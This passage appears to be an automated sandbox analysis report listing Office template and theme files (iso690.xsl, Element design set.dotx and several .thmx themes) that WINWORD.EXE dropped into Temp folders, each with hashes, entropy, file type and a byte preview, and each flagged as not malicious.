SHA-512:	E50BB0C68A33D35F04C75F05AD4598834FEC7279140B1BB0847FF39D749591B8F2A0C94DA4897AAF6C33C50C1D583A836B0376015851910A77604F8396C7EF3C
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .i.s.o.6.9.0...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD5AF6.tmp\iso690.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	270198
Entropy (8bit):	5.073814698282113
Encrypted:	false
SSDEEP:	6144:JwprAiaR95vtfb8pDbgWPzDCvCmvQursq7vImej/yQ4SS1apSiQhHDOruvoVeMUX:We
MD5:	FF0E07EFF1333CDF9FC2523D323DD654
SHA1:	77A1AE0DD8DBC3FEE65DD6266F31E2A564D088A4
SHA-256:	3F925E0CC1542F09DE1F99060899EAFB0042BB9682507C907173C392115A44B5
SHA-512:	B4615F995FAB87661C2DBE46625AA982215D7BDE27CAFAE221DCA76087FE76DA4B4A381943436FCAC1577CB3D260D0050B32B7B93E3EB07912494429F126BB3D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCD5B75.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	274
Entropy (8bit):	3.438490642908344
Encrypted:	false
SSDEEP:	6:fxnxUXZlaWimoa2nRE3QepmlJ0+3FbnKfZObdADxp1RDWlVwv:fxnyplagN2RGHmD0wbnKYZAH+Vwv
MD5:	0F98498818DC28E82597356E2650773C
SHA1:	1995660972A978D17BC483FCB5EE6D15E7058046
SHA-256:	4587CA0B2A60728FF0A5B8E87D35BF6C6FDF396747E13436EC856612AC1C6288
SHA-512:	768562F20CFE15001902CCE23D712C7439721ECA6E48DDDCF8BFF4E7F12A3BC60B99C274CBADD0128EEA1231DB19808BAA878E825497F3860C381914C21B46FF
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .E.l.e.m.e.n.t. .d.e.s.i.g.n. .s.e.t...d.o.t.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.W.D. .D.o.c.u.m.e.n.t. .P.a.r.t.s.}.........

C:\Users\user\AppData\Local\Temp\TCD5B75.tmp\Element design set.dotx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	34415
Entropy (8bit):	7.352974342178997
Encrypted:	false
SSDEEP:	768:ev13NPo9o5NGEVIi3kvH+3SMdk7zp3tE2:ev13xoOE+R3BkR7
MD5:	7CDFFC23FB85AD5737452762FA36AAA0
SHA1:	CFBC97247959B3142AFD7B6858AD37B18AFB3237
SHA-256:	68A8FBFBEE4C903E17C9421082E839144C205C559AFE61338CBDB3AF79F0D270
SHA-512:	A0685FD251208B772436E9745DA2AA52BC26E275537688E3AB44589372D876C9ACE14B21F16EC4053C50EB4C8E11787E9B9D922E37249D2795C5B7986497033E
Malicious:	false
Preview:	PK.........Y5B#.W ............[Content_Types].xml ...(...................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#)...eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.....D....>.V...f-}..r9....=..Mn..U..5.(.....a...E..b......w.$...,O_fu."[P..WU=.;.....5..wdt..y1.......i.44-.r....;./.biG=.HK...........&o[B....z.7.o...&.......[.oL_7cuN..&e..ccAo...YW......8...Y>.&DVy...-&....Y.....4.u.., !po....9W....g..F...+1....d,'...L.M[-~.Ey. ......[

C:\Users\user\AppData\Local\Temp\TCD5F8E.tmp\View.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	486596
Entropy (8bit):	7.668294441507828
Encrypted:	false
SSDEEP:	6144:A+JBmUx0Zo24n8z/2NSYFl2qGBuv8p6+LwwYmN59wBttsdJrmXMlP1NwQoGgeL:fNgxz/g5z2BT6+Eu0ntMcczNQG5L
MD5:	0E37AECABDB3FDF8AAFEDB9C6D693D2F
SHA1:	F29254D2476DF70979F723DE38A4BF41C341AC78
SHA-256:	7AC7629142C2508B070F09788217114A70DE14ACDB9EA30CBAB0246F45082349
SHA-512:	DE6AFE015C1D41737D50ADD857300996F6E929FED49CB71BC59BB091F9DAB76574C56DEA0488B0869FE61E563B07EBB7330C8745BC1DF6305594AC9BDEA4A6BF
Malicious:	false
Preview:	PK.........V'BE,.{....#P......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.~n..Ofu.-..K.e....{..A.~.8.#D..)o.7..........:2........=......f...u....[..}...u.6b...xz.[...G..\|#...$....)J./.......7.............oQ..]^.M........wy}7a.....&l................w.......l._...l..?.A..........r..9.\|.8.........{w...........n...]^.M........wy}7a.....&l.................`..z..`.....2.o...wx}.....>..c.M..Arr#.....nD..[.....w......n...]^.M........wy}7a.....&l........w........... ..Fp....w_Q....g..tL.i.?H.o...]^..........n...]^.M........wy}7a.....&l.................`..z..`

C:\Users\user\AppData\Local\Temp\TCD5F8E.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	274
Entropy (8bit):	3.535303979138867
Encrypted:	false
SSDEEP:	6:Q+sxnxUX3IlVARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnynG6ymD0wbnKNAH/lMz1
MD5:	35AFE8D8724F3E19EB08274906926A0B
SHA1:	435B528AAF746428A01F375226C5A6A04099DF75
SHA-256:	97B8B2E246E4DAB15E494D2FB5F8BE3E6361A76C8B406C77902CE4DFF7AC1A35
SHA-512:	ACF4F124207974CFC46A6F4EA028A38D11B5AF40E55809E5B0F6F5DABA7F6FC994D286026FAC19A0B4E2311D5E9B16B8154F8566ED786E5EF7CDBA8128FD62AF
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .V.i.e.w...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD5FD0.tmp\Frame.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	523048
Entropy (8bit):	7.715248170753013
Encrypted:	false
SSDEEP:	6144:WfmDdN6Zfv8q5rnM6vZ02PtMZRkfW5ipbnMHxVcsOWrCMxy0sD/mcKb4rYEY:xDdQXBrMi2YtggW5ObnMH1brJpUmBU0N
MD5:	C276F590BB846309A5E30ADC35C502AD
SHA1:	CA6D9D6902475F0BE500B12B7204DD1864E7DD02
SHA-256:	782996D93DEBD2AF9B91E7F529767A8CE84ACCC36CD62F24EBB5117228B98F58
SHA-512:	B85165C769DFE037502E125A04CFACDA7F7CC36184B8D0A54C1F9773666FFCC43A1B13373093F97B380871571788D532DEEA352E8D418E12FD7AAD6ADB75A150
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCD5FD0.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	276
Entropy (8bit):	3.5159096381406645
Encrypted:	false
SSDEEP:	6:Q+sxnxUXQIa3ARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnygIaqymD0wbnKNAH/lMz1
MD5:	71CCB69AF8DD9821F463270FB8CBB285
SHA1:	8FED3EB733A74B2A57D72961F0E4CF8BCA42C851
SHA-256:	8E63D7ABA97DABF9C20D2FAC6EB1665A5D3FDEAB5FA29E4750566424AE6E40B4
SHA-512:	E62FC5BEAEC98C5FDD010FABDAA8D69237D31CA9A1C73F168B1C3ED90B6A9B95E613DEAD50EB8A5B71A7422942F13D6B5A299EB2353542811F2EF9DA7C3A15DC
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .F.r.a.m.e...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD5FF1.tmp\Banded.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	562113
Entropy (8bit):	7.67409707491542
Encrypted:	false
SSDEEP:	12288:/dy5Gtyp/FZ9QqjdxDfSp424XeavSktiAVE0:/dizp1ndpqpMZnV
MD5:	4A1657A3872F9A77EC257F41B8F56B3D
SHA1:	4DDEA85C649A2C1408B5B08A15DEF49BAA608A0B
SHA-256:	C17103ADE455094E17AC182AD4B4B6A8C942FD3ACB381F9A5E34E3F8B416AE60
SHA-512:	7A2932639E06D79A5CE1D3C71091890D9E329CA60251E16AE4095E4A06C6428B4F86B7FFFA097BF3EEFA064370A4D51CA3DF8C89EAFA3B1F45384759DEC72922
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCD5FF1.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.535736910133401
Encrypted:	false
SSDEEP:	6:Q+sxnxUXeAlFkRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyRGymD0wbnKNAH/lMz1
MD5:	487E25E610F3FC2EEA27AB54324EA8F6
SHA1:	11C2BB004C5E44503704E9FFEEFA7EA7C2A9305C
SHA-256:	022EC5077279A8E447B590F7260E1DBFF764DE5F9CDFD4FDEE32C94C66D4A1A2
SHA-512:	B8DF351E2C0EF101CF91DC02E136A3EE9C1FDB18294BECB13A29D676FBBE791A80A58A18FBDEB953BC21EC54EB7608154D401407C461ABD10ACB94CE8AD0E092
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .B.a.n.d.e.d...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD5FF2.tmp\Dividend.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	570901
Entropy (8bit):	7.674434888248144
Encrypted:	false
SSDEEP:	6144:D2tTXiO/3GH5SkPQVAqWnGrkFxvay910UUTWZJarUv9TA0g8:kX32H+VWgkFxSgGTmarUv9T
MD5:	D676DE8877ACEB43EF0ED570A2B30F0E
SHA1:	6C8922697105CEC7894966C9C5553BEB64744717
SHA-256:	DF012D101DE808F6CD872DFBB619B16732C23CF4ABC64149B6C3CE49E9EFDA01
SHA-512:	F40BADA680EA5CA508947290BA73901D78DE79EAA10D01EAEF975B80612D60E75662BDA542E7F71C2BBA5CA9BA46ECAFE208FD6E40C1F929BB5E407B10E89FBD
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCD5FF2.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.5459495297497368
Encrypted:	false
SSDEEP:	6:Q+sxnxUXvBAuRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnypJymD0wbnKNAH/lMz1
MD5:	76340C3F8A0BFCEDAB48B08C57D9B559
SHA1:	E1A6672681AA6F6D525B1D17A15BF4F912C4A69B
SHA-256:	78FE546321EDB34EBFA1C06F2B6ADE375F3B7C12552AB2A04892A26E121B3ECC
SHA-512:	49099F040C099A0AED88E7F19338140A65472A0F95ED99DEB5FA87587E792A2D11081D59FD6A83B7EE68C164329806511E4F1B8D673BEC9074B4FF1C09E3435D
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .D.i.v.i.d.e.n.d...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD6024.tmp\Metropolitan.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	777647
Entropy (8bit):	7.689662652914981
Encrypted:	false
SSDEEP:	6144:B04bNOJMngI856k0wwOGXMaXTLaTDmfBaN2Tx9iSUk1PdSnc0lnDlcGMcEFYYYYt:xbY6ngI46Aw5dmyYYYYYYYYY7p8d
MD5:	B30D2EF0FC261AECE90B62E9C5597379
SHA1:	4893C5B9BE04ECBB19EE45FFCE33CA56C7894FE3
SHA-256:	BB170D6DE4EE8466F56C93DC26E47EE8A229B9C4842EA8DD0D9CCC71BC8E2976
SHA-512:	2E728408C20C3C23C84A1C22DB28F0943AAA960B4436F8C77570448D5BEA9B8D53D95F7562883FA4F9B282DFE2FD07251EEEFDE5481E49F99B8FEDB66AAAAB68
Malicious:	false
Preview:	PK.........V'B.._<....-.......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.~n..Ofu.-..K.e....{..A.~.8.#D..)o.7..........:2........=......f...u....[..}...u.6b...xz.[...G..\|#...$....)J./.......7.............oQ..]^.M........wy}7a.....&l................w.......l._...l..?.A..........r..9.\|.8.........{w...........n...]^.M........wy}7a.....&l.................`..z..`.....2.o...wx}.....>..c.M..Arr#.....nD..[.....w......n...]^.M........wy}7a.....&l........w........... ..Fp....w_Q....g..tL.i.?H.o...]^..........n...]^.M........wy}7a.....&l.................`..z..`

C:\Users\user\AppData\Local\Temp\TCD6024.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.5091498509646044
Encrypted:	false
SSDEEP:	6:Q+sxnxUX1MiDuRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyFdMymD0wbnKNAH/lMz1
MD5:	23D59577F4AE6C6D1527A1B8CDB9AB19
SHA1:	A345D683E54D04CC0105C4BFFCEF8C6617A0093D
SHA-256:	9ADD2C3912E01C2AC7FAD6737901E4EECBCCE6EC60F8E4D78585469A440E1E2C
SHA-512:	B85027276B888548ECB8A2FC1DB1574C26FF3FCA7AF1F29CD5074EC3642F9EC62650E7D47462837607E11DCAE879B1F83DF4762CA94667AE70CBF78F8D455346
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .M.e.t.r.o.p.o.l.i.t.a.n...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD6044.tmp\Parcel.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	608122
Entropy (8bit):	7.729143855239127
Encrypted:	false
SSDEEP:	6144:Ckl6KRKwg9jf2q/bN69OuGFlC/DUhq68xOcJzGYnTxlLqU8dmTW:8yKwgZ2qY9kA7Uhq68H3ybmq
MD5:	8BA551EEC497947FC39D1D48EC868B54
SHA1:	02FA15FDAF0D7E2F5D44CAE5FFAE49E8F91328DF
SHA-256:	DB2E99B969546E431548EBD58707FC001BBD1A4BDECAD387D194CC9C6D15AC89
SHA-512:	CC97F9B2C83FF7CAC32AB9A9D46E0ACDE13EECABECD653C88F74E4FC19806BB9498D2F49C4B5581E58E7B0CB95584787EA455E69D99899381B592BEA177D4D4B
Malicious:	false
Preview:	PK.........LGE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK.........LG.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCD6044.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.516359852766808
Encrypted:	false
SSDEEP:	6:Q+sxnxUXKwRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny6qymD0wbnKNAH/lMz1
MD5:	960E28B1E0AB3522A8A8558C02694ECF
SHA1:	8387E9FD5179A8C811CCB5878BAC305E6A166F93
SHA-256:	2707FCA8CEC54DF696F19F7BCAD5F0D824A2AC01B73815DE58F3FCF0AAB3F6A0
SHA-512:	89EA06BA7D18B0B1EA624BBC052F73366522C231BD3B51745B92CF056B445F9D655F9715CBDCD3B2D02596DB4CD189D91E2FE581F2A2AA2F6D814CD3B004950A
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .P.a.r.c.e.l...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD643E.tmp\Parallax.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	924687
Entropy (8bit):	7.824849396154325
Encrypted:	false
SSDEEP:	12288:lsadD3eLxI8XSh4yDwFw8oWR+6dmw2ZpQDKpazILv7Jzny/ApcWqyOpEZULn:qLxI8XSh4yUF/oWR+mLKpYIr7l3ZQ7n
MD5:	97EEC245165F2296139EF8D4D43BBB66
SHA1:	0D91B68CCB6063EB342CFCED4F21A1CE4115C209
SHA-256:	3C5CF7BDB27592791ADF4E7C5A09DDE4658E10ED8F47845064DB1153BE69487C
SHA-512:	8594C49CAB6FF8385B1D6E174431DAFB0E947A8D7D3F200E622AE8260C793906E17AA3E6550D4775573858EA1243CCBF7132973CD1CF7A72C3587B9691535FF8
Malicious:	false
Preview:	PK..........1AS'......ip......[Content_Types].xml..n.@.._......8ie'......}.......(y...H}......3Fi..%2.v?..3..._...d=..E.g.....7.i.-.t5.6......}}.m9r.......m...ML.g.M.eV$.r...M..l0...A...M..j;.w={o.f..F....i..v......5..d;..D.ySa...M&..qdw>.O.{h...\|w..5.]..'.CS<.:8C}.g.\|E.../..>..].Tnml..I.......r.Gv.E....7.;.E......4/l.....6.K.C?1qz.O.v_..r......\c.c.>..lS........X.N.3N.sN..N.)'.%'..'..N.pL.E...T.!..CR....Ie..k.o..M..w.B.0}..3....v..+....,.q..pz.......v{.;....s3.\|..V..ZZ......0.[.....x.....!.!~.8.e..n..&.}p....s.i.. ..[]...q.r....~..+.A\...q............e.-)h9..."Z.>...5-C..`..g.}........r.A.+..\...r.>.... .W.\...re?..%.-/hiA..ZR.r.W.D.\}.EK..kZ.>......5..9.&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^h....L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i..`..G..j..).&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^j..K.L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i.

C:\Users\user\AppData\Local\Temp\TCD643E.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.51145753448333
Encrypted:	false
SSDEEP:	6:Q+sxnxUXKsWkRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny6svymD0wbnKNAH/lMz1
MD5:	7956D2B60E2A254A07D46BCA07D0EFF0
SHA1:	AF1AC8CA6FE2F521B2EE2B7ABAB612956A65B0B5
SHA-256:	C92B7FD46B4553FF2A656FF5102616479F3B503341ED7A349ECCA2E12455969E
SHA-512:	668F5D0EFA2F5168172E746A6C32820E3758793CFA5DB6791DE39CB706EF7123BE641A8134134E579D3E4C77A95A0F9983F90E44C0A1CF6CDE2C4E4C7AF1ECA0
Malicious:	false
